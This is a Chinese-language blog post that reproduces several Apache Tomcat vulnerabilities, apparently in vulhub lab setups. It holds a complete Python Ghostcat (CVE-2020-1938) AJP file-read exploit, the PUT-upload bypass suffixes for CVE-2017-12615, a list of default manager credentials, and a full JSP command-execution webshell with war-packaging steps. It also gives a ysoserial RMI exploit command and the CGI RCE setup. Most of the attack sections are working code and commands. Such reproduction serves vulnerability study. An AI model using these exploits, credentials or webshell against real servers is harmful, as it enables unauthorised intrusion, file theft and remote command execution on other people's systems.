少女祈祷中...

Tomcat 漏洞复现集合

Tomcat是常见的web中间间,常用于javaweb

Tomcat是Apache 软件基金会(Apache Software Foundation)的Jakarta 项目中的一个核心项目,由Apache、Sun 和其他一些公司及个人共同开发而成。由于有了Sun 的参与和支持,最新的Servlet 和JSP 规范总是能在Tomcat 中得到体现,Tomcat 5支持最新的Servlet 2.4 和JSP 2.0 规范。因为Tomcat 技术先进、性能稳定,而且免费,因而深受Java 爱好者的喜爱并得到了部分软件开发商的认可,成为目前比较流行的Web 应用服务器。
Tomcat 服务器是一个免费的开放源代码的Web 应用服务器,属于轻量级应用服务器,在中小型系统和并发访问用户不是很多的场合下被普遍使用,是开发和调试JSP 程序的首选。对于一个初学者来说,可以这样认为,当在一台机器上配置好Apache 服务器,可利用它响应HTML(标准通用标记语言下的一个应用)页面的访问请求。实际上Tomcat是Apache 服务器的扩展,但运行时它是独立运行的,所以当你运行tomcat 时,它实际上作为一个与Apache 独立的进程单独运行的。
诀窍是,当配置正确时,Apache 为HTML页面服务,而Tomcat 实际上运行JSP 页面和Servlet。另外,Tomcat和IIS等Web服务器一样,具有处理HTML页面的功能,另外它还是一个Servlet和JSP容器,独立的Servlet容器是Tomcat的默认模式。不过,Tomcat处理静态HTML的能力不如Apache服务器。

Tomcat 任意文件写入(CVE-2017-12615

简介

  • 漏洞简述: 当tomcat启用了HTTP PUT请求方法(例如,将 readonly 初始化参数由默认值设置为 false),攻击者将有可能可通过精心构造的攻击请求数据包向服务器上传包含任意代码的 JSP 文件,JSP文件中的恶意代码将能被服务器执行。导致服务器上的数据泄露或获取服务器权限。
  • CVE编号:CVE-2017-12615
  • 影响范围: Tomcat 7.0.0-7.0.81(默认配置)

当tomcat启用了HTTP PUT请求方法(例如,将 readonly 初始化参数由默认值设置为 false)

<init-param>
<param-name>readonly</param-name>
<param-value>false</param-value>
</init-param>

复现

vulhub启动Tomcat/CVE-2017-12615
抓包改成PUT请求
访问的是b.jsp/
请求体是文件内容

然后get访问

也是成功存在了b.jsp 这样可以上传一个webshell达到命令执行
说明tomcat对jsp是做了一定处理的。那么就考虑是否可以使其处理过程中对文件名的识别存在差异性,前面的流程中 b.jsp/ 识别为非jsp文件,而后续保存文件的时候,文件名不接受/字符,故而忽略掉。

default servlet 和 JSP servlet两个servlet,DefaultServlet的作用是处理静态文件 ,JspServlet 的作用是处理jsp 与jspx 文件的请求,同时DefaultServlet 可以处理 PUT 或 DELETE请求。
可以看出即使设置readonly为false,默认tomcat也不允许PUT上传jsp和jspx文件的,因为后端都用org.apache.jasper.servlet.JspServlet来处理jsp或是jspx后缀的请求了,而JspServlet中没有PUT上传的逻辑,PUT的代码实现只存在于DefaultServlet中。
这个漏洞的根本是通过构造特殊后缀名,绕过了tomcat检测,让它用DefaultServlet的逻辑去处理请求,从而上传jsp文件。
目前主要两种方法:

  • test.jsp::$DATA
  • test.jsp%20
  • test.jsp/

利用这两种姿势PUT请求tomcat的时候,骗过tomcat而进入DefaultServlet处理的逻辑。
我们构造的payload是put方法,所以直接断点进入了 doput:

漏洞原理分析:
https://yaofeifly.github.io/2017/09/25/tomcat/#3%E6%BC%8F%E6%B4%9E%E5%88%86%E6%9E%90

文件读取/包含漏洞(CVE-2020-1938)

漏洞描述

默认情况下,Apache Tomcat会开启AJP连接器,方便与其他Web服务器通过AJP协议进行交互.但Apache Tomcat在AJP协议的实现上存在漏洞,导致攻击者可以通过发送恶意的AJP请求,可以读取或者包含Web应用根目录下的任意文件,如果配合文件上传任意格式文件,将可能导致任意代码执行(RCE).该漏洞利用AJP服务端口实现攻击,未开启AJP服务对外不受漏洞影响(tomcat默认将AJP服务开启并绑定至0.0.0.0/0).

危害
攻击者可以读取 Tomcat所有 webapp目录下的任意文件。此外如果网站应用提供文件上传的功能,攻击者可以先向服务端上传一个内容含有恶意 JSP 脚本代码的文件(上传的文件本身可以是任意类型的文件,比如图片、纯文本文件等),然后利用 Ghostcat 漏洞进行文件包含,从而达到代码执行的危害
影响范围
Apache Tomcat 9.x < 9.0.31
Apache Tomcat 8.x < 8.5.51
Apache Tomcat 7.x < 7.0.100
Apache Tomcat 6.x

条件

对于处在漏洞影响版本范围内的 Tomcat 而言,若其开启 AJP Connector 且攻击者能够访问 AJP Connector 服务端口的情况下,即存在被 Ghostcat 漏洞利用的风险。注意 Tomcat AJP Connector 默认配置下即为开启状态,且监听在 0.0.0.0:8009 。
原理
Tomcat 配置了两个Connecto,它们分别是 HTTP 和 AJP :HTTP默认端口为8080,处理http请求,而AJP默认端口8009,用于处理 AJP 协议的请求,而AJP比http更加优化,多用于反向、集群等,漏洞由于Tomcat AJP协议存在缺陷而导致,攻击者利用该漏洞可通过构造特定参数,读取服务器webapp下的任意文件以及可以包含任意文件,如果有某上传点,上传图片马等等,即可以获取shell

分析:https://www.51cto.com/article/746415.html

poc

#!/usr/bin/env python
#CNVD-2020-10487 Tomcat-Ajp lfi
#by ydhcui
import struct
from io import StringIO


# Some references:
# https://tomcat.apache.org/connectors-doc/ajp/ajpv13a.html
def pack_string(s):
if s is None:
return struct.pack(">h", -1)
l = len(s)
return struct.pack(">H%dsb" % l, l, s.encode('utf8'), 0)
def unpack(stream, fmt):
size = struct.calcsize(fmt)
buf = stream.read(size)
return struct.unpack(fmt, buf)
def unpack_string(stream):
size, = unpack(stream, ">h")
if size == -1: # null string
return None
res, = unpack(stream, "%ds" % size)
stream.read(1) # \0
return res
class NotFoundException(Exception):
pass
class AjpBodyRequest(object):
# server == web server, container == servlet
SERVER_TO_CONTAINER, CONTAINER_TO_SERVER = range(2)
MAX_REQUEST_LENGTH = 8186
def __init__(self, data_stream, data_len, data_direction=None):
self.data_stream = data_stream
self.data_len = data_len
self.data_direction = data_direction
def serialize(self):
data = self.data_stream.read(AjpBodyRequest.MAX_REQUEST_LENGTH)
if len(data) == 0:
return struct.pack(">bbH", 0x12, 0x34, 0x00)
else:
res = struct.pack(">H", len(data))
res += data
if self.data_direction == AjpBodyRequest.SERVER_TO_CONTAINER:
header = struct.pack(">bbH", 0x12, 0x34, len(res))
else:
header = struct.pack(">bbH", 0x41, 0x42, len(res))
return header + res
def send_and_receive(self, socket, stream):
while True:
data = self.serialize()
socket.send(data)
r = AjpResponse.receive(stream)
while r.prefix_code != AjpResponse.GET_BODY_CHUNK and r.prefix_code != AjpResponse.SEND_HEADERS:
r = AjpResponse.receive(stream)

if r.prefix_code == AjpResponse.SEND_HEADERS or len(data) == 4:
break
class AjpForwardRequest(object):
_, OPTIONS, GET, HEAD, POST, PUT, DELETE, TRACE, PROPFIND, PROPPATCH, MKCOL, COPY, MOVE, LOCK, UNLOCK, ACL, REPORT, VERSION_CONTROL, CHECKIN, CHECKOUT, UNCHECKOUT, SEARCH, MKWORKSPACE, UPDATE, LABEL, MERGE, BASELINE_CONTROL, MKACTIVITY = range(28)
REQUEST_METHODS = {'GET': GET, 'POST': POST, 'HEAD': HEAD, 'OPTIONS': OPTIONS, 'PUT': PUT, 'DELETE': DELETE, 'TRACE': TRACE}
# server == web server, container == servlet
SERVER_TO_CONTAINER, CONTAINER_TO_SERVER = range(2)
COMMON_HEADERS = ["SC_REQ_ACCEPT",
"SC_REQ_ACCEPT_CHARSET", "SC_REQ_ACCEPT_ENCODING", "SC_REQ_ACCEPT_LANGUAGE", "SC_REQ_AUTHORIZATION",
"SC_REQ_CONNECTION", "SC_REQ_CONTENT_TYPE", "SC_REQ_CONTENT_LENGTH", "SC_REQ_COOKIE", "SC_REQ_COOKIE2",
"SC_REQ_HOST", "SC_REQ_PRAGMA", "SC_REQ_REFERER", "SC_REQ_USER_AGENT"
]
ATTRIBUTES = ["context", "servlet_path", "remote_user", "auth_type", "query_string", "route", "ssl_cert", "ssl_cipher", "ssl_session", "req_attribute", "ssl_key_size", "secret", "stored_method"]
def __init__(self, data_direction=None):
self.prefix_code = 0x02
self.method = None
self.protocol = None
self.req_uri = None
self.remote_addr = None
self.remote_host = None
self.server_name = None
self.server_port = None
self.is_ssl = None
self.num_headers = None
self.request_headers = None
self.attributes = None
self.data_direction = data_direction
def pack_headers(self):
self.num_headers = len(self.request_headers)
res = ""
res = struct.pack(">h", self.num_headers)
for h_name in self.request_headers:
if h_name.startswith("SC_REQ"):
code = AjpForwardRequest.COMMON_HEADERS.index(h_name) + 1
res += struct.pack("BB", 0xA0, code)
else:
res += pack_string(h_name)

res += pack_string(self.request_headers[h_name])
return res

def pack_attributes(self):
res = b""
for attr in self.attributes:
a_name = attr['name']
code = AjpForwardRequest.ATTRIBUTES.index(a_name) + 1
res += struct.pack("b", code)
if a_name == "req_attribute":
aa_name, a_value = attr['value']
res += pack_string(aa_name)
res += pack_string(a_value)
else:
res += pack_string(attr['value'])
res += struct.pack("B", 0xFF)
return res
def serialize(self):
res = ""
res = struct.pack("bb", self.prefix_code, self.method)
res += pack_string(self.protocol)
res += pack_string(self.req_uri)
res += pack_string(self.remote_addr)
res += pack_string(self.remote_host)
res += pack_string(self.server_name)
res += struct.pack(">h", self.server_port)
res += struct.pack("?", self.is_ssl)
res += self.pack_headers()
res += self.pack_attributes()
if self.data_direction == AjpForwardRequest.SERVER_TO_CONTAINER:
header = struct.pack(">bbh", 0x12, 0x34, len(res))
else:
header = struct.pack(">bbh", 0x41, 0x42, len(res))
return header + res
def parse(self, raw_packet):
stream = StringIO(raw_packet)
self.magic1, self.magic2, data_len = unpack(stream, "bbH")
self.prefix_code, self.method = unpack(stream, "bb")
self.protocol = unpack_string(stream)
self.req_uri = unpack_string(stream)
self.remote_addr = unpack_string(stream)
self.remote_host = unpack_string(stream)
self.server_name = unpack_string(stream)
self.server_port = unpack(stream, ">h")
self.is_ssl = unpack(stream, "?")
self.num_headers, = unpack(stream, ">H")
self.request_headers = {}
for i in range(self.num_headers):
code, = unpack(stream, ">H")
if code > 0xA000:
h_name = AjpForwardRequest.COMMON_HEADERS[code - 0xA001]
else:
h_name = unpack(stream, "%ds" % code)
stream.read(1) # \0
h_value = unpack_string(stream)
self.request_headers[h_name] = h_value
def send_and_receive(self, socket, stream, save_cookies=False):
res = []
i = socket.sendall(self.serialize())
if self.method == AjpForwardRequest.POST:
return res

r = AjpResponse.receive(stream)
assert r.prefix_code == AjpResponse.SEND_HEADERS
res.append(r)
if save_cookies and 'Set-Cookie' in r.response_headers:
self.headers['SC_REQ_COOKIE'] = r.response_headers['Set-Cookie']

# read body chunks and end response packets
while True:
r = AjpResponse.receive(stream)
res.append(r)
if r.prefix_code == AjpResponse.END_RESPONSE:
break
elif r.prefix_code == AjpResponse.SEND_BODY_CHUNK:
continue
else:
raise NotImplementedError
break

return res

class AjpResponse(object):
_,_,_,SEND_BODY_CHUNK, SEND_HEADERS, END_RESPONSE, GET_BODY_CHUNK = range(7)
COMMON_SEND_HEADERS = [
"Content-Type", "Content-Language", "Content-Length", "Date", "Last-Modified",
"Location", "Set-Cookie", "Set-Cookie2", "Servlet-Engine", "Status", "WWW-Authenticate"
]
def parse(self, stream):
# read headers
self.magic, self.data_length, self.prefix_code = unpack(stream, ">HHb")

if self.prefix_code == AjpResponse.SEND_HEADERS:
self.parse_send_headers(stream)
elif self.prefix_code == AjpResponse.SEND_BODY_CHUNK:
self.parse_send_body_chunk(stream)
elif self.prefix_code == AjpResponse.END_RESPONSE:
self.parse_end_response(stream)
elif self.prefix_code == AjpResponse.GET_BODY_CHUNK:
self.parse_get_body_chunk(stream)
else:
raise NotImplementedError

def parse_send_headers(self, stream):
self.http_status_code, = unpack(stream, ">H")
self.http_status_msg = unpack_string(stream)
self.num_headers, = unpack(stream, ">H")
self.response_headers = {}
for i in range(self.num_headers):
code, = unpack(stream, ">H")
if code <= 0xA000: # custom header
h_name, = unpack(stream, "%ds" % code)
stream.read(1) # \0
h_value = unpack_string(stream)
else:
h_name = AjpResponse.COMMON_SEND_HEADERS[code-0xA001]
h_value = unpack_string(stream)
self.response_headers[h_name] = h_value

def parse_send_body_chunk(self, stream):
self.data_length, = unpack(stream, ">H")
self.data = stream.read(self.data_length+1)

def parse_end_response(self, stream):
self.reuse, = unpack(stream, "b")

def parse_get_body_chunk(self, stream):
rlen, = unpack(stream, ">H")
return rlen

@staticmethod
def receive(stream):
r = AjpResponse()
r.parse(stream)
return r

import socket

def prepare_ajp_forward_request(target_host, req_uri, method=AjpForwardRequest.GET):
fr = AjpForwardRequest(AjpForwardRequest.SERVER_TO_CONTAINER)
fr.method = method
fr.protocol = "HTTP/1.1"
fr.req_uri = req_uri
fr.remote_addr = target_host
fr.remote_host = None
fr.server_name = target_host
fr.server_port = 80
fr.request_headers = {
'SC_REQ_ACCEPT': 'text/html',
'SC_REQ_CONNECTION': 'keep-alive',
'SC_REQ_CONTENT_LENGTH': '0',
'SC_REQ_HOST': target_host,
'SC_REQ_USER_AGENT': 'Mozilla',
'Accept-Encoding': 'gzip, deflate, sdch',
'Accept-Language': 'en-US,en;q=0.5',
'Upgrade-Insecure-Requests': '1',
'Cache-Control': 'max-age=0'
}
fr.is_ssl = False
fr.attributes = []
return fr

class Tomcat(object):
def __init__(self, target_host, target_port):
self.target_host = target_host
self.target_port = target_port

self.socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
self.socket.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
self.socket.connect((target_host, target_port))
self.stream = self.socket.makefile("rb")
#self.stream = self.socket.makefile("rb", bufsize=0)

def perform_request(self, req_uri, headers={}, method='GET', user=None, password=None, attributes=[]):
self.req_uri = req_uri
self.forward_request = prepare_ajp_forward_request(self.target_host, self.req_uri, method=AjpForwardRequest.REQUEST_METHODS.get(method))
print("Getting resource at ajp13://%s:%d%s" % (self.target_host, self.target_port, req_uri))
if user is not None and password is not None:
self.forward_request.request_headers['SC_REQ_AUTHORIZATION'] = "Basic " + ("%s:%s" % (user, password)).encode('base64').replace('\n', '')
for h in headers:
self.forward_request.request_headers[h] = headers[h]
for a in attributes:
self.forward_request.attributes.append(a)
responses = self.forward_request.send_and_receive(self.socket, self.stream)
if len(responses) == 0:
return None, None
snd_hdrs_res = responses[0]
data_res = responses[1:-1]
if len(data_res) == 0:
print("No data in response. Headers:%s\n" % snd_hdrs_res.response_headers)
return snd_hdrs_res, data_res

'''
javax.servlet.include.request_uri
javax.servlet.include.path_info
javax.servlet.include.servlet_path
'''

import argparse
parser = argparse.ArgumentParser()
parser.add_argument("target", type=str, help="Hostname or IP to attack")
parser.add_argument('-p', '--port', type=int, default=8009, help="AJP port to attack (default is 8009)")
parser.add_argument("-f", '--file', type=str, default='WEB-INF/web.xml', help="file path :(WEB-INF/web.xml)")
args = parser.parse_args()
t = Tomcat(args.target, args.port)
_,data = t.perform_request('/asdf',attributes=[
{'name':'req_attribute','value':['javax.servlet.include.request_uri','/']},
{'name':'req_attribute','value':['javax.servlet.include.path_info',args.file]},
{'name':'req_attribute','value':['javax.servlet.include.servlet_path','/']},
])
print('----------------------------')
print("".join([d.data.decode("utf-8") for d in data]))

Tomcat弱口令&war远程部署

漏洞介绍

在tomcat8环境下默认进入后台的密码为tomcat/tomcat,未修改造成未授权即可进入后台,或者管理员把密码设置成弱口令,使用工具对其进行穷举。得到密码后,也可以进行后台上传恶意代码控制服务器。
影响范围
Tomcat版本:7.0–>8.0

原理
在tomcat8环境下默认进入后台的密码为tomcat/tomcat,未修改造成未授权即可进入后台。Tomcat后台提供war包部署功能,实现上传webshell。

复现

环境:vulhub/tomcat/tomcat

抓包

Authorization头base64解码

用户名:密码 形式再base64编码
可用户名密码进行爆破(好像爆破一个用户就会被ban)
默认用户名和密码

tomcat:tomcat
both:tomcat
role1:tomcat
admin:
admin:password
admin:admin

使用默认tomcat:tomcat登录

编写webshell

<%@ page import="java.util.*,java.io.*"%>
<HTML><BODY>
<FORM METHOD="GET" NAME="myform" ACTION="">
<INPUT TYPE="text" NAME="cmd">
<INPUT TYPE="submit" VALUE="Send">
</FORM>
<pre>
<%
if (request.getParameter("cmd") != null) {
out.println("Command: " + request.getParameter("cmd") + "<BR>");
Process p = Runtime.getRuntime().exec(request.getParameter("cmd"));
OutputStream os = p.getOutputStream();
InputStream in = p.getInputStream();
DataInputStream dis = new DataInputStream(in);
String disr = dis.readLine();
while ( disr != null ) {
out.println(disr);
disr = dis.readLine();
}
}
%>
</pre>
</BODY></HTML>


打成war包

jar -cvf test.war .
部署成功 访问/test/shell.jsp

RCE (CVE-2019-0232)

漏洞描述

(感觉条件苛刻,利用鸡肋)
由于JRE将命令行参数传递给Windows的方式存在错误,会导致CGI Servlet受到远程执行代码的攻击。
触发该漏洞需要同时满足以下条件:

  1. 系统为Windows
  2. 启用了CGI Servlet(默认为关闭)
  3. 启用了enableCmdLineArguments(Tomcat 9.0.*及官方未来发布版本默认为关闭)

影响范围
Apache Tomcat 9.0.0.M1 to 9.0.17
Apache Tomcat 8.5.0 to 8.5.39
Apache Tomcat 7.0.0 to 7.0.93

复现

首先进行CGI相关的配置,在 conf/web.xml 中启用CGIServlet:

<servlet>
<servlet-name>cgi</servlet-name>
<servlet-class>org.apache.catalina.servlets.CGIServlet</servlet-class>
<init-param>
<param-name>cgiPathPrefix</param-name>
<param-value>WEB-INF/cgi-bin</param-value>
</init-param>
<init-param>
<param-name>enableCmdLineArguments</param-name>
<param-value>true</param-value>
</init-param>
<init-param>
<param-name>executable</param-name>
<param-value></param-value>
</init-param>
<load-on-startup>5</load-on-startup>
</servlet>

就将原来的注释去掉,在添加属性
这里主要的设置是 enableCmdLineArguments 和 executable 两个选项。 enableCmdLineArguments 启用后才会将Url中的参数传递到命令行, executable 指定了执行的二进制文件,默认是 perl,需要置为空才会执行文件本身。

同样在 conf/web.xml 中启用cgi的servlet-mapping


<servlet-mapping>
<servlet-name>cgi</servlet-name>
<url-pattern>/cgi-bin/*</url-pattern>
</servlet-mapping>

之后修改 conf/context.xml 的 添加 privileged=”true”属性,否则会没有权限


<Context privileged="true">

<!-- Default set of monitored resources. If one of these changes, the -->
<!-- web application will be reloaded. -->
<WatchedResource>WEB-INF/web.xml</WatchedResource>
<WatchedResource>WEB-INF/tomcat-web.xml</WatchedResource>
<WatchedResource>${catalina.base}/conf/web.xml</WatchedResource>

<!-- Uncomment this to disable session persistence across Tomcat restarts -->
<!--
<Manager pathname="" />
-->
</Context>

然后在 ROOT\WEB-INF 下创建 cgi-bin 目录, 并在该目录下创建一个内容为 echo Content-type: text/html 的 e.bat 文件。

配置完成后,启动tomcat,访问 http://127.0.0.1:8080/cgi-bin/e.bat?&ver ,可以看到命令执行成功。

原理

https://xz.aliyun.com/t/4875?

Tomcat 反序列化漏洞 (CVE-2016-8735)

漏洞描述

之前Oracle发布的mxRemoteLifecycleListener反序列化漏洞(CVE-2016-3427)相关,是由于使用了JmxRemoteLifecycleListener的监听功能所导致。而在Oracle官方发布修复后,Tomcat未能及时修复更新而导致的远程代码执行。 该漏洞所造成的最根本原因是Tomcat在配置JMX做监控时使用了JmxRemoteLifecycleListener的方法。

条件
外部需要开启JmxRemoteLifecycleListener监听的10001和10002端口,来实现远程代码执行。

<Listener className="org.apache.catalina.mbeans.JmxRemoteLifecycleListener" rmiRegistryPortPlatform="10001" rmiServerPortPlatform="10002" />

影响版本
Apache Tomcat 9.0.0.M1 to 9.0.0.M11
Apache Tomcat 8.5.0 to 8.5.6
Apache Tomcat 8.0.0.RC1 to 8.0.38
Apache Tomcat 7.0.0 to 7.0.72
Apache Tomcat 6.0.0 to 6.0.47

打RMI:

java -cp ysoserial.jar ysoserial.exploit.RMIRegistryExploit 192.168.0.167 10001 Groovy1 "calc.exe"

需要Groovy相关依赖
(暂无找到分析文章)

样例目录session操控漏洞

同一个tomcat下面,两个项目之间ession不能共享。所以”Apache Tomcat示例目录漏洞”对其他项目的威胁不大,但仍建议在部署环境中删除tomcat示例。
按照Servlet规范,session的作用范围应该仅仅限于当前应用程序下,不同的应用程序之间是不能够相互访问对方的session的。各个应用服务器从实际效果上都遵守了这一规范,但实现细节却可能不同,因此解决跨应用程序session共享的方法也各不相同。
在examples目录下创建一个jsp登录管理的页面,即可实现对session的操控。
http://47.104.218.243:8080/login/login.jsp

检测链接

http://localhost:8080/examples/servlets/servlet/SessionExample
在Name of Session Attribute: 里输入login
在Value of Session Attribute:里输入admin

提交后显示login=admin已经写入session

然后就可以访问
http://localhost:8080/examples/index.jsp

其他漏洞集合

Tomcat本地提权漏洞(CVE-2016-1240),Tomcat本地提权漏洞分析与防御。
Apache Tomcat 拒绝服务漏洞CVE-2014-0230
Apache Tomcat Manager和Host Manager应用程序安全漏洞(CVE-2015-5351)
Apache Tomcat session-persistence 远程代码执行漏洞(CVE-2016-0714)
Apache Tomcat 会话固定漏洞(CVE-2015-5346)
Apache Tomcat 远程代码执行漏洞(CVE-2016-8735)
Apache Tomcat Commons Fileupload 拒绝服务漏洞(CVE-2016-3092)
Apache Tomcat httpoxy 安全漏洞(CVE-2016-5388)
Apache Tomcat 安全绕过漏洞(CVE-2016-6816)
Apache Tomcat AJP协议安全绕过漏洞
Apache Tomcat 安全绕过漏洞(CVE-2012-3439)
Tomcat 拒绝服务漏洞(CVE-2014-0050)
Apache Tomcat 安全漏洞(CVE-2017-6056)
Apache Tomcat 安全漏洞(CVE-2017-5648)
Apache Tomcat Default Servlet 安全漏洞(CVE-2017-5664)
Tomcat 信息泄露漏洞(CVE-2017-12616)
Apache Tomcat 安全漏洞(CVE-2017-12617)
Apache Tomcat 安全漏洞(CVE-2017-5647)
Apache Tomcat 安全漏洞(CVE-2018-1304)
Apache Tomcat 安全漏洞(CVE-2018-1305)